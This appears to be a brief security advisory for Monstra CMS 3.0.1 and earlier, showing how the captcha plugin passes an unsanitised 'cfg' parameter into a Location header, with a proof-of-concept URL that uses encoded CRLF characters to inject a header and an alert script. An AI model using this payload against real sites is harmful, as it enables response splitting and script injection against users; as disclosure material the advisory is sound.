Monstra <= 3.0.1 HTTP Response Splitting

/plugins/captcha/crypt/cryptographp.php

SetCookie("cryptcookietest", "1");
Header("Location:
cryptographp.inc.php?cfg=".$_GET['cfg']."&sn=".session_name()."&".SID);

so providing 

http://localhost/mons/plugins/captcha/crypt/cryptographp.php?cfg=%0A%0DContent-T
ype:%20text/html%0A%0D%0A%0D%3Cscript%3Ealert%281%29%3C/script%3E&

Would result a CRLF injection.

Note: PHP version must allow multiple headers. this is fixed >5.1.2